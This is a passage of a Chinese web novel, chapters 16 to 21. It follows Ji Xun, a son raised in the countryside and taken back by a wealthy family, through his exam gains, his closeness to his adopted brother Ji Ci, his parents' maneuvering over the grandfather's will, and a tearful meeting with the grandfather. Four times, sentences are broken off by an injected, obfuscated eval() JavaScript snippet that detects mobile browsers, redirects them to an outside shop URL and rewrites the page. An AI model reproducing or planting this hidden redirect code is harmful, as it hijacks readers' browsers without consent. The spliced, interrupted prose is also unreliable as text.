更气人的是，今天来到学校，蒋恪知发现，那转学生身边围了不少同学，一个二个，都殷勤了起来。 蒋恪知越想越气，忍不住起身走过去。恶狠狠地盯着转学生，把那天惊诧之间没怼出去话甩过去，“季珣，你别得意，和季辞邻居又怎么样，他会多看你一眼么？” 季珣鼓起勇气，回视着对方，“我和他怎么样你管不着。” 蒋恪知怒意涌上心头，“你他妈的，信不信我找人……” 狠话还没放完被其他同学打断，“别说了，老张来了！” 现在正是晨读时间，老张一般不会来影响同学们读书，但话音刚落，班主任张晖就拿着几张纸 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这下，整个教室都是惊叹和哗然。 “不是？上次一模不是才五十三，这次就能拿一百以上？怎么做到的？” “太牛了吧，不愧是我珣哥！！” “你们这些人，上次一模是因为人家刚来不适应，真当别人是菜鸡？闹剧结束了！” 李楠探头过来，惊讶得眼珠子快掉地上，“我去，这么强，比我都高，你怎么搞的？” 前排的同桌也转过身来，“真牛逼，教教我们怎么学的呗。” 季珣有些受宠若惊，心虚地回答：“是我哥辅导我。” 李楠满脸懊恼，“卧槽你哥怎么那么好！给你花钱，辅导你作业！我那个废物哥哥，只会抢我的零花钱，偷我的游戏装备！” 前排也啧啧赞叹，“人家都说两个兄弟只会打架，没想到季珣你有这样的哥哥！” 季珣说不出的开心雀跃，恨不得马上回家见哥，把自己二模进步的消息告诉他。 讲台上，老张还在点评二模的情况。 只见中年老教师神情一沉，“我们223班有同学进步明显，但也有同学，退步明显！” 他目光如电地扫过来，“蒋恪知！” 正沉着脸盯着季珣的蒋恪知顿时被惊了一下，站起身。 “越来越退步！” 蒋恪知平时成绩也就是中下，但被这样点起来，还是觉得十分丢脸。 “你到底想干什么？还想不想读书了？” 蒋恪知面子挂不住，和老师犟嘴，“张老师，我不学以后也有好日子过，你也……”他小声嘀咕，“用不着管我吧。” “是是是，咱们学校里那几棵大榕树，风雨无阻地在那里站了几十年，确实过得挺好的。不过它也就当木头这点用了。” “怎么？你也想当木头是吧？” 几十年的老教师，什么纨绔子弟没见过，几句话连削带打，整个教室哄堂大笑。 蒋恪知闹了个大红脸，可当着老张的面，不敢多说。 最后，只把嫉恨的目光投向季珣。 17. 第 17 章 晚上，想着告诉哥哥成绩的事，一下晚自习，季珣就赶紧回家。 走到别墅门口，还没进花园，就看到客厅里亮着灯，里面传来钢琴悠扬的乐音。 巨大落地窗里，季珣看到挑高客厅垂落的水晶灯散发出的淡金色光线中，季辞正坐在钢琴前弹奏。 三中秋季的校服外套是类似西装的款式，显得他的肩膀格外平直，背脊的线条和钢琴一样，锐利挺拔。 钢琴的悠扬，如同水流般。 他今天这么早就回家了， 季珣开心，想进去和他说话，又担心打扰他。 放慢了脚步，走进客厅。 季辞已经看到进来的季珣，依旧弹完一首歌才停下来。 季珣站在他旁边，眼里都是羡慕，“哥，你好厉害。” 他笑道：“爸妈从小对我要求严格。” 他从小到大生活优越，自然博艺多能。而自己只求活着。 彼此间巨大的差距让季珣心里生出失落。 相比自己，同样生活优越的蒋恪知是不是和他更相像？ 季珣心里失落，低下头默默站着。 听到他问：“会弹钢琴么？” 季珣愈发窘迫，“不会。” “想学么？” 季珣有些惊讶，“可以学么？” “坐下，我教你。” 季辞微笑着向旁边挪了挪，让出一半黑色皮革的凳子。 季珣挨着他坐下。 以前只有视频里看到过真的钢琴，没想到有一天自己也能触碰到。 “你第一次弹，我先带你感觉一下。”他噙着笑意，握住季珣的手，放到光亮的琴键上。 深秋的气温越来越低，季珣刚坐了一路公交，手有点冷。 但季辞的手很暖，紧紧握住，带着自己，在琴键上移动，按下琴键，流淌出悦耳的旋律。 他辅导自己学习，还教自己冲咖啡，给自己准备甜品台，现在要教自己弹钢琴。 热流淹没心脏，季珣脑中浮现出他拥护着自己的体温，和自己纠缠萦绕的呼吸，转过头去看他。 他视线落在琴键上，专注地带着自己弹琴。 直到短短的一段弹完才松开手，垂下眼睫看过来，微笑着问：“听说你二模考得不错。” 白天还迫不及待地想把成绩告诉他，此刻沉浸在钢琴中，几乎忘记。季珣赶紧点头，欢喜地把成绩告诉他，“我数学考了102分。” 说完，忍不住期待地看着面前的男生。 季珣期待他夸奖自己，期待他对自己微笑。 期待他温暖的拥抱，温柔的亲吻。 就像那个精致的甜品台一样，让季珣感觉无比甜蜜。 他垂下眼睑，打量般看了片刻，勾起唇角，抬手摸了摸季珣的脸，“我知道你可以的。” 他的手很暖，动作轻柔，勾得季珣的心脏轻颤，“哥。” 正在这时，门外传来车声，光亮的黑车停在门口，季达强和苏曼顶着秋夜的寒风踏进家门。 季珣吓了一跳，慌忙站起来，往旁边和季辞拉开一点距离。 可是自己也不知道自己为什么要慌乱。 旁边，季辞若无其事地站起身，“爸妈。” 王叔迎上来为两个人取下大衣和包包。 季达强点了点头，看到季珣站在旁边，问：“你们两在干什么？” 爸爸问得随意，季珣却觉得心虚。 季辞回答：“我和小珣在聊天。” 季达强没有继续问，在沙发上坐下，“周末，老爷子让所有季家人回老宅吃饭。” 季珣听到这句话，忍不住注意起来。 自从知道自己有爷爷，季珣就时常在脑海里想象爷爷的模样。 满头银发的和蔼老人，慈祥地抚摸自己的脑袋。 听说，爷爷奶奶都会溺爱孙子，那爷爷是不是不会像爸爸那样严格，自己是不是能得到爷爷的宠爱？ 他真的很想见一见自己的爷爷。 既然爸爸说的是所有季家人，那就是也包括自己。 因为自己也是季家人。 周末，自己可以见到爷爷了么？ 爸妈依旧只和哥哥商量，但季珣没有离开，期待地待在旁边，想等他们商量结束后，告诉自己，明天应该如何准备去见爷爷的事。 季辞提醒父亲，“上次在老宅，我听到苏叔说，爷爷最近身体状况不太好。” “我也听说了，最近一有时间你就去老宅多陪陪老爷子。” “我知道的爸。” 季达强点了点头，沉声提醒：“我知道你会处理好的，但如果他身体有变化，最重要要盯着遗嘱。” “爷爷一定还是会委托宋律师，他最相信的人，就是宋律师。” “宋律师这边我会安排。” 季珣乖乖待在旁边的角落。他依旧听不懂爸妈和哥哥都对话，只是听到了一些意味不明的词，但爸妈进门的时候，季珣就注意到父亲季达强嗓音带着鼻音，聊天过程里，他也剧烈地咳嗽了几次。 爸爸生病了么？ 季珣想着，就听到哥哥季辞询问：“爸，你病了么？” 苏曼解释，“你爸感冒一周了。” “医生看过了么？” “看过了，但毕竟年纪摆在这里，抵抗力下降，恢复起来需要点时间。” 两父子的谈话告一段落，季珣才找到机会说话，“爸妈。” 季达强神情冷淡，“有话就说。” 季荀局促地开口：“我想告诉你们，我这次二模有进步。” 季达强听了下季珣这次二模的各科成绩，没有太多表情，“你少给我丢点人就行。” 苏曼倒是鼓励了几句，“下学期就要高考了，你还是要继续努力。” 季珣有些窘迫，他感觉得到，爸妈对这个成绩依旧不太满意。 他们理想中的孩子是什么样。 像季辞那样么？ 看到季达强和苏曼起身要进房间，并没有告诉自己回去见爷爷的事，忍不住开口：“爸妈。” 苏曼回头，“怎么了？” “我还有事想和你们说……”话没说完就被季达强烦躁地打断，“你能有什么事？” 中年男人咳嗽了几声，摆摆手，“有什么明天说吧，我累了。” 苏曼也开口劝慰：“你爸不舒服，先让他休息吧。” 季珣不敢再说，“爸妈，晚安。” 季达强、苏曼和季辞各自回房间了。 客厅里的声音消失，灯光熄灭，没人注意到季珣还待在角落。 他本来想的是见爷爷的事，现在开始担心起爸爸的身体。 季珣从前和聋哑大爷住在一起的时候，就总要照顾身体不好的聋哑大爷。 他那时候没有钱，只能去网上查找一些偏方。 第二天清晨，季珣早早起床，从冰箱里拿了个橙子，按着以前给聋哑大爷用过的、最有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154576|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效的止咳偏方给爸爸季达强炖了一个冰糖橙子。 把炖盅放在餐桌上晾着，等了一会，季氏夫妇穿戴整齐，走到客厅。 季珣听到季达强依旧还在咳嗽，赶紧把自己炖的冰糖橙子端给父亲。 季达强有专业的私人医生照顾，很厌恶民间偏方这些东西。 想到亲儿子从小就生活在那样乌烟瘴气的地方，季达强扫了眼冰糖橙子，不悦地提醒：“能不能别浪费时间，多花点心思读书。” 这是浪费时间么？ 季珣心里有些委屈，他只是想让爸爸尽快好起来。 今天，季家夫妇要去季家老宅看望季达强的父亲。 很快，季辞也走了下来。 他今天格外不一样，穿了一套黑色西装，西装的面料精美垂坠，包裹出他的修长身形，肩膀宽阔，背脊挺拔，搭配的衬衫领口还系着一条同色的领带。 矜贵雅致又成熟，一点都不像高中生。 看到一家三口向客厅外走去，季珣终于忍不住，出声请求，“爸，妈，我可以和你们一起去看爷爷么？” 季达强和苏曼一时间拿不准儿子的意思，对视了一眼。 苏曼问：“你想去看望爷爷？” 季珣不知道为什么，自己只是想看望爷爷，会让父母露出这样怀疑揣测的神情，紧张地回答：“他不是我的爷爷么？我想见一见爷爷。” 客厅里又是一静。 两夫妇再次交换眼色。 苏曼提议，“达强，虽然小珣各方面都还有不足，但他毕竟是老爷子的亲骨肉，现在情况复杂，不如让老爷子见见他？或许……” 季达强看向季辞，询问他的意见，“小辞，你觉得呢？” 季珣期待地看向季辞。 客厅里，三道目光都停在季辞身上。他思考片刻，才不疾不徐地回答：“我觉得，现在还不是时候。” 季珣的心坠了下去。 为什么不让自己去看爷爷？ 季达强考虑之后，“有道理，季珣你待在家里，以后还有你的用处。” 三个人走出客厅，花园里很快传来汽车引擎离开的声音。 别墅又只剩下自己一个人。 今天是真的只剩下自己一个人。 王叔今天放假，张姨家里有事，高挑的房子空旷冷清。 季珣忍不住想着父亲的话。 有自己的用处？ 自己的用处是什么？ 自己不是他的儿子么？ 看书看到中午，想休息一会，不知道干什么好，索性来客厅看会电视。 翻了一会视频，发现南城新闻上恰好正在放季家的消息。 原来，爷爷季先声是季氏集团的董事长，拥有季氏集团百分之七十的股份。 而三个儿子手里只有各自的小公司。 就是说，爸爸和哥哥是在筹划爷爷过世之后的遗产分配？ 爷爷要去世了么？ 季珣一点也不希望爷爷死。 他还没有见到爷爷呢。 看了会电视，季珣重新回到房间看书。 直到深夜，才听到车子进门的声音。 是爸妈和哥哥回来了。 季珣出来，看到季辞扶着墙，脚步踉跄地走进客厅。 父亲的司机把他送回来，就离开了。 “哥。” 季珣心里一惊，赶紧过去扶住他，闻到他身上散发的浓烈酒气，才意识到他是喝醉了。 18. 第 18 章 “哥，你喝酒了？” 他不是去参加季氏家族的聚会么？为什么会喝酒？ 他才高中，爸妈怎么不照顾着他呢？ 季珣心疼地询问：“哥，你还好么？” 季辞抬起头，眼睛红红地看着季珣，然后，无力地垂下胳膊，趴到季珣肩膀上，模糊地喊了一声，“小珣。” 他之前好像没有这样喊过自己。 这个称呼让季珣的心像是悬在蛛丝上，轻忽地颤了颤。 “哥，我在这里。” 季珣扶着人走上二楼，走到他房间前，拉动门把打开。 因为爸妈总是提醒不让自己去影响哥哥学习，这还是季荀第一次走进季辞的房间里。 虽然知道他的房间很好，但看到的一刻，季珣还是怔了怔。 和自己那间完全不一样。 季辞的房间十分宽敞，还带着一个独立卫生间，一间满墙书架的书房和一间游戏室。装修精美，整齐简约，而且每一件家具看上去都很昂贵奢华。 季珣第一次知道自己的房间和哥哥的房间差别那么大。 虽然那间小房间季珣也已经知足。可还是忍不住想，同样是爸爸妈妈的儿子，爸爸妈妈却好像并不在意自己？ 是因为，自己和哥哥比起来，实在太笨。 身上挂着一个喝醉的人，季珣没有时间多想，先让他坐在床上。 他今天参加宴席穿的是西装，季珣替他脱下剪裁得体的西装外套，扶着他半躺在床上。 喝醉的人半睡半醒地撑开一缝眼睑，看到面前的人，神情有些懵。 季珣询问：“哥，你有没有哪里不舒服？” 他哑着嗓音回答，“我想喝水。” 季珣赶紧去给他端来水，就到他唇边，喂他喝了半杯。又见他额头上都是汗，去卫生间泡了一块热毛巾，给他擦汗。 明明是在麻烦地照顾喝醉的人。但因为是他，季珣却觉得甘之如饴。 忍不住撑在床边，用目光一点点勾勒他的面容。 擦脸的动作越来越慢，像是被抓住这一刻的破绽，半躺在床上的人突然抬手，攥住季珣伸过来的手腕。 修长的手指，指节分明，因为用力，白皙手背上蜿蜒着清晰的血管。 季珣心脏一跳，想收回已经来不及，“哥。” 彼此凝注间，也不知是清醒还是不清醒，他弯唇微笑。 他平时的笑容带着逗弄，还总是藏着许许多多季珣看不懂的深意。 但此刻喝醉了，笑容显得无比单纯，星子似的眼睛认真地盯着自己，看得季珣心尖细微地发颤。 “哥，你想要什么？” 他垂下眼，蹙紧眉梢，“我不舒服。” 季珣担忧地看着，“哪里不舒服？” 他没回答，用另一只手扣住季珣的肩膀，攥紧季珣的手腕，翻了个身。 季珣扑倒在他胸口，随着他侧身，落进床侧柔软的被褥上，手里的热毛巾也掉了。 热烘烘的气息混杂着酒的辛辣气味传递过来，季珣只觉天旋地转，头晕目眩，“哥——” 无意识地想挣扎，手腕却依旧被他攥着，腿也被压住。 彼此躺在一起，身体亲密地贴在一起。季珣听到他惺忪微哑的声音落在自己耳边，“小珣，我好累，能不能陪我一会。” 他好累？ 他为什么会累？ 一定是被迫喝了很多酒。 季珣心里一软，没再动，在他身边静静地躺了片刻。 季珣小心翼翼地撑起些许身体，看着躺在自己身边的哥哥。 他好似睡熟了，浓密的黑色睫毛在眼睑上投下一片淡灰色的阴影，红色的唇微微张开，露出一点白色的牙齿。 这一刻，那个优秀的如天空中明月般的哥哥就在自己触手可及的地方。 季珣定定地看着睡着的人，抬起的手悬在空中片刻，最后，抚上他发丝。 松软发丝磨蹭在掌心的感觉，很舒服。 季珣趴在他身边，轻轻捏着他的发丝玩。 突然，睡着的人翻了下身，季珣赶紧惊惶地收回手，躺回他身边。 季辞嘟囔着模糊的音色，侧过身，手臂无意识般缠到季荀腰上环紧。然后，仿佛寻找热源般，他挨挨蹭蹭地把脸埋进了季珣的肩窝。 灼热的吐息不断地洒落在脖颈和肩窝上，酥麻的电流涌来，季珣的心跳得飞快，如同陷入柔软的丝网中，挣扎不开。 磨蹭了半天，喝醉的人才好似终于陷入了梦乡，渐渐地安静下来。 卧室里，空气静谧，暖色的灯光如同粘稠的蜜，散发着幽微的香甜。 季珣的心跳渐渐平复下来，被他环在怀里绷紧的身体也一点点松弛下来。 季家的别墅是那么大那么空，爸妈也很少回来。 其实，一直是哥哥和自己相依为命。 过去，无数次一个人面对着窗外的狂风暴雨，电闪雷鸣。 此刻，却有另一个人和自己分担，亲密的依偎在一起，就好似在汹涌风浪中相依为命。 季珣无比贪恋这份温暖，忍不住反手环住面前的人。 第二天醒来的时候，季珣发现自己枕着季辞的手臂，靠在他怀里睡了一整夜，顿时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又听到他喉间滚出一声低笑，拖着语调慢慢说道：“其实面很好吃，只是我想吃的，另有其他。” 季珣赶紧追问：“你想吃什么？有食材我都可以给你做。” 他长睫垂抬，像是把面前的季珣打量了一圈，扯了下唇，“弟弟自己猜猜看？” 季珣茫然地看着他。 世界上，这么多的食物，自己怎么猜得到。 19. 第 19 章 季珣猜不到季辞想吃的是什么。只是想，只要是哥哥想要的，自己就会竭尽全力捧到他面前。 烧烤活动之后，虽然在学校依旧能感觉到蒋恪知妒恨的目光，但三个择校生消停了不少。 而且，季珣身边不知不觉多了很多同学。他们会和季珣讨论作业，也会聊学校八卦。 季珣其实一点都不喜欢和人起冲突。 过去十八年，他孤单太久了，现在，他想要爸妈，要哥哥，也想要很多的朋友。 他知道自己很贪心。 可人就在这样，当你得到之后，想要的就会越来越多。 “怎么回事，这道导数题我怎么算都跟答案不一样，季珣，来帮我一起研究研究到底哪里出了问题。” 季珣凑过去和同学一起琢磨题目，“分离参数的时候，你是不是没考虑定义域？” “卧槽，还真是，珣哥越来越牛逼了！” “季珣季珣，你和季辞住一个小区，知不知道他想考哪个大学啊？” 季珣正不知道怎么回答。 有人帮忙接话了，“你能不能别为难季珣了，季珣只是和季辞住一个小区，又没那么熟，怎么可能什么都知道啊。” “也是。” 正和同学们聊着天，班长何响走进教室，帮老张传达“旨意”，“马上三模就要到来。按照学校的安排，下周就会组织涅槃组集中学习。” 何响宣布完，教室里响起一片抽气，不少同学开始议论起来。 “啊？要开始涅槃组了？” “听上届说，去涅槃组要压力拉满。政教主任林阎王亲自管理，往死里做卷子！” “不知道咱们班有几个会被送去涅槃啊，拜托了，老张千万别盯上我啊。” 涅槃组是三中为了提升学率，组织的周末集中学习。 参加的都是班里倒数名次的学生，被抓到涅槃组，学习压力都是其次，主要是，真的挺丢人的。 何响说道：“老张拟定了几名参加涅槃组的同学，接下来我念到名字的同学，要从这周六开始来学校参加集中学习。” 何响还没开始念名字，就有人冲蒋恪知讥诮地开口：“蒋恪知，老张第一个指定你。” 教室里发出小声的窃笑。 蒋恪知脸色瞬间沉了下去，“你说尼玛！” 可他二模实打实的排名全班倒数，老张怎么可能放过他。 果然，班长何响第一个就念他名字，蒋恪知臭着脸不说话了。 何响又念了几个班里二模考得比较糟糕的，都不出同学所料。 “老张还单独指定了一个同学参加这次涅槃组。”何响视线扫过来，“季珣，你也参加涅槃组。” 班里顿时一片疑惑。 “季珣也要参加涅槃组？他二模不是考得很好么？” “老张怎么想的，对人有偏见？” “不是吧，季珣都要去涅槃组，那我也得去了。” 二模的时候，季珣的排名来到了班里中间位置，按道理不需要参加涅槃组。 何响解释，“季珣二模进步很大，但一模不太理想，老张也是和你父亲沟通过，你父亲同意你参加，才做的安排。” 没想到季珣也被抓去涅槃组，蒋恪知瞬间阴雨转晴，一脸的得意洋洋，“考好一次真觉得自己行了？还是你老子最了解你，乡下来的就是乡下来的。” 原本季珣并不反感参加周末集中学习。 可想到周末不能在花园木屋和哥哥一起学习，心里又涌起了难言的失落。 “季珣，你没意见吧？” 季珣摇了摇头，“没有。” - 周五晚上，季氏夫妻回家了。 吃过饭，季达强就把季辞喊到了花园里。 看着父子两单独聊天的画面，季珣心里莫名羡慕。 他什么时候才能像哥这样，能和爸爸好好聊聊他。他一直记着爸爸上次的咳嗽，中间还询问过何秘书，听说吃了很多药，依旧没有彻底好转。 一个人待在客厅里看电视，恰好翻到南城新闻。 “季氏集团的股份争夺一直是商界焦点，近日，各家媒体爆料，季氏掌门人季先声健康状况持续糟糕，让三个儿子间本就胶着的季氏股份争夺战，愈发形势不明。外界传言，季先声有意将季氏股份全部分给孙子一辈。” 季先声，是爷爷的名字么？ 季珣默默地记在了心里。 看了会电视，花园里的聊天结束。看到季达强走到客厅里，开始抽雪茄，季珣小心翼翼地走过去。 即便告诉自己，他是爸爸，但季达强对自己总是很严厉，季珣还是很害怕，不自觉绷紧背脊，小心地问：“爸，你的身体怎么样？” 没想到他还记着自己的身体，季达强有几分意外，目光扫了过来。 站在旁边的亲生儿子依旧一副局促胆怯的模样，季达强心里那点意外顿时烟消云散，冷淡地回答：“这不是你该操心的。” 季珣只是想问问爸爸身体的情况，不知道为什么会让爸爸这样反感，满心窘迫，正讪讪地想要转身走开，听到爸爸喊：“等等。” 季达强说道：“我刚才跟小辞商量了一下，最近老爷子身体不好，你还是尽早和老爷子见面，培养培养感情吧。” 这是要让自己去见爷爷了么？ 季珣期待了那么久，终于可以去见爷爷，只觉得满心喜悦。 但下一秒，就被泼了盆冷水，季达强继续说道：“但现在的你，是没办法让老爷子满意的。” “满意？” 中年男人抖落烟灰，严肃地注视着季珣，“老爷子白手起家，骨子里是个传统的人，他喜欢优秀懂事的孩子，名列前茅、出类拔萃，庆大、成大，出国就得是常青藤名校，而不是混学历。这样的孙子才配做他的继承人。” 自从自己回来，父亲还没和自己说过这么多话。 可是季珣却不太明白这段话的意思，只是懵懵地回答：“我会努力的。” “这些孙子里，他最喜欢小辞。” 季辞。他那么优秀，怎么会有人不喜欢。 季珣悄悄地掀起眼，看向在花园里刷手机的人。 温馨的灯光从头顶洒下来，把他俊朗的侧颜晕染得温和干净。 季达强继续告诫面前的儿子：“小辞始终不是季家的血脉，所以，你要记清楚，你回来为的是季氏的股份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154578|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，做好自己该做的。” 季珣愣住。 他真的不太清楚。 他一直以为，自己回到爸妈身边，是因为自己是爸妈的儿子。 为的是季氏的股份，是什么意思？ “你好好准备一下，月底去见老爷子。” 季达强留下这句话，把雪茄碾灭在烟灰缸里，起身回房间里。 季珣一个人在客厅愣了一会。 再抬头时，花园里的哥哥已经不见了。 - 三模到来，又是连续三天考试，考得同学们头晕脑胀。 “天啊，为什么我不是学神。” “赶紧高考吧，早死早超生。” “我知道我考得不好，但我们要承认困境，保留理想主义的底色！” 这个周末就要参加涅槃组的集中学习。 其实，学校安排涅槃组就是担心后进生闷不自觉，集中到一起，主要就是做卷子，然后进行答疑和讲解。 清晨下楼的时候，季珣特意看了眼哥哥的房间，门依旧关着。 他昨晚又去老宅看望爷爷，很晚才回来，应该是还没起床。 季珣下楼，替他冲好一杯咖啡，才匆匆赶去学校。 这段时间，季辞几乎每天放学都会去南城郊外的季家老宅。 季珣也不太懂，但听到父亲安排他，要盯着遗嘱。 他晚回来的时候，季珣就会边学习边等他回来。担心他再喝醉没人照顾，担心他想吃宵夜没人给他做。 这个周末刚好公布了三模的成绩，季珣各科成绩都在进步，全校排名来到一百多名。 按照往年的录取线，这个排名可以顺利地考入一所重点大学。 旁边，涅槃组的学生们也在议论。 “三模完了四模，一模接一模，无穷尽也啊。” “再坚持一个学期吧。” “听说了么？庆大中北的提前择优考试就在下学期开始，咱们学校那些学神学霸们一个个都在紧张地准备。” “提前择优”是几所顶尖大学单独的选拔渠道，通过高校自主组织考试，提前录取一批优秀学生。 因为提前择优考试的难度远超高考，范围也和高考不一样，因此敢花精力去参加提前择优的都是学神级别的。 “呜呜呜，好羡慕那些学霸啊，如果通过提前择优，就不用参加高考了。” 蒋恪知隔着图书馆自习室的宽桌子，讥诮地睨向季珣，“住一个小区又怎么样，别人准备提前择优，某些人参加涅槃组。” 季珣小声反驳， “至少我能考上重点。” “你……”讥讽蒋恪知考不上重点大学，蒋恪知顿时被噎了一下。 他算是发现了，自从公开和季辞是邻居的事后，这个土包子越来越得意了。 邻居又怎么样！他不会觉得他追得到季辞吧？季辞是他蒋恪知的！ 季珣也知道最近季辞在准备提前择优的考试。 他一直想读庆大，通过提前择优的考试，就可以提前被庆大录取。 那自己呢？ 自己这个成绩是无论如何也进不了庆大的。那是不是意味着，自己很快就要和哥哥分开？ 20. 第 20 章 按照季父的安排，月底，季珣去见爷爷季先声。 季家老宅就在南城郊外。 回到季家近四个月，母亲苏曼都从来没有在意过自己吃什么穿什么，但去老宅当天，她提前回家，亲自给季珣安排穿着。 打开季珣那个小小的衣柜，看到只有几件衣服，显得很是空荡的时候，苏曼不禁有些意外，疑惑地问：“小珣，你怎么不买点衣服？” 季珣的衣服是回到季家时，王叔给准备的，相比过去，他觉得已经够多够好了，没有想过提，也不知道怎么提。 所以一直就是那么几件。 苏曼只能临时给季珣准备了一件黑色大衣，里面配了件白色的衬衫。 他眼睛很像季达强，脸型又像苏曼，窄小精巧，五官端正，穿上这身，看上去有了几分豪门贵公子的感觉。 但在乡下生活了十八年，骨子里的胆怯依旧无法遮掩。 看着这孩子的模样，想到挑剔的季家老爷子，苏曼心里多少有些泄气。 是不是即便找回了亲生儿子，也无法改变什么？ 和母亲苏曼一起走到车库，除了父亲季达强外，季辞在他自己宝蓝色的跑车里等待着。 副驾驶的车门自动向上掀起，季辞示意季珣和他坐。 季珣在乡下十八年，从没有坐过这样豪华的车。黑色的真皮座椅，炫彩的仪表盘。 局促地不知道该干什么。 驾驶位上的人抬了下唇，探身过来。 想到那天晚上和他躺在一起，季珣紧张地绷紧身体。 熟悉的木调气息轻盈地弥散而来。 但只一瞬便消散开来。 他替季珣系好安全带，直起身，“走吧。” 跑车引擎轰鸣，很快到达季家老宅。 古香古色的红木门，左右两边立着精美的石狮雕塑，像极了电视剧里的深宅大院。 季家夫妻去和叔伯们寒暄，季辞带着季荀往宅子深处走。 沿着雕龙画凤的中式回廊往前走，季珣紧张无比。左转右拐了好久，才看到摆着红木桌椅的前厅。 厅里坐着两个二十多岁的年轻人，季辞介绍，是大伯的儿子季康，和三叔的儿子季安。 这是季珣第一次见到其他季家人。 他原本以为他们都是自己的堂兄，是自己的亲人。可两个堂兄看自己的目光，却只有打量、戒备和讥诮。 “这就是二叔费尽心思找回来的亲生儿子？”刚从国外回来，染着一头黄发的季康嘲道：“听说在乡下长大，回到季家应该挺不习惯的吧？” 季安接话：“实话说，我都有点佩服二叔了，这么个玩意儿还找回来干嘛？”他斜挑着眉梢，看向季辞，“有咱们辞哥就够了啊。” 季珣第一次见面就被他们嘲讽，不知道该怎么办，局促地往季辞身边缩了缩，“哥。” 这个称呼让季康和季安神情微妙地对视了一眼。 季康笑问：“你真当他是你哥？” 季珣不懂他什么意思，但还是小声辩解，“他就是我哥。” 季安挑眉看向季辞，“季辞，你不会想把二叔的公司让给他……” 季辞淡淡截住他的话，“季珣今天是来看爷爷的。” 季康毫不避讳地说：“爷爷可看不上这个土包子。” 季辞：“管好你自己吧。” 季珣跟着季辞继续往宅院深处走去，很快来到最里面一个环境清幽的小院里。 爷爷季先声身体不好，一直在这里静养，由专门的私人医生照顾。 季辞在外面等，季珣单独进去，是爷爷的安排。 季珣原本很期待见到爷爷，此刻还有几分紧张。 跟着管家走进房间，季珣一眼就看到床上那个须发花白的老人。 他躺在床上，脸带着病容，看得出健康状况不太好。 听到进来的脚步声，他语气急切地问：“小珣，是小珣么？” “是我，爷爷。” “过来，孩子，让我看看。” 季珣走到老人跟前。 老人用浑浊的目光紧紧地盯着面前自己的亲孙子，抬起颤抖的手，轻轻地抚摸他的面容，颤声问：“小珣，你这十八年是怎么过来的？” 季珣怔了怔。 自从回到季家，还从没有人问过他这个问题。 爸爸妈妈并不在意自己过去十八年过的是什么样的生活。甚至，自己在乡下长大这件事，对他们来说是一种耻辱。 但那其实是自己真真实实的十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154579|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八年。 饥寒交迫、挨打受辱，还有无人在意的孤独和无助。 回到季家后，因为没有人在意。所以，季珣从来没准备过，要把那些东西翻出来，告诉任何人。 但是老人固执地询问：“我听说，你在最贫穷的那个乡下长大，是不是过得很辛苦？有没有饿着，有没有冻着？” 他又动起气来，气季达强没有及时把这件事告诉自己，没有让自己早早见到季珣。 季珣按照苏曼教好的，告诉他，是因为顾忌他身体，不想让他情绪波动太大。 季先声满心怅然地回忆，“爷爷还记得你出生时的模样，皮肤白白的，眼睛大大的，和你奶奶特别像。所以我生达强的气，因为是他们两夫妻的大意，才让襁褓里的你丢失。” 说着说着，躺在床上的老人眼里流出了浑浊的泪水，用枯树般的手紧紧地握住季珣，“小珣，我知道你受了很多苦，以后，爷爷会照顾你。” 这一刻，季珣看到了爷爷眼里的心疼。 他突然想起以前相依为命的聋哑老人。 虽然不会说话，却总是心疼地注视着自己，把仅有的好吃的留给自己。 原来，这就是被人关心疼爱的感觉。 那爸妈呢？ 他们真的疼爱自己么？ 季先声把这个走失十八年的孙子认认真真地看了一圈，问了他过去的生活，又问了最近的学习情况，满腔的百感交集让老人的眼泪擦了又擦。 直到医生进来提醒，老人目前的身体状况需要休息，也不适宜伤感，这场爷孙重逢才被迫暂告一段。 季先声温声问：“小珣，你有没有什么想要的？有没有什么想对爷爷说的？” 旁边，医生看向季珣的眼神有些微妙。 季珣真的很喜欢爷爷。他是那么慈祥和蔼，和自己想象中的亲人一样，会心疼自己，关爱自己。 可是，爸妈和哥哥都说他的身体状况不太好，甚至都在考虑他的遗产。 季珣不知道怎么表达自己，只能对老人说出自己心里的话，“我好不容易才有了爷爷，爷爷，你的身体一定要好起来。” 季先声怔了好一会，抬手抚摸季珣的发顶，眼里又一次流下眼泪，“会的，我会好起来的。” 21. 第 21 章 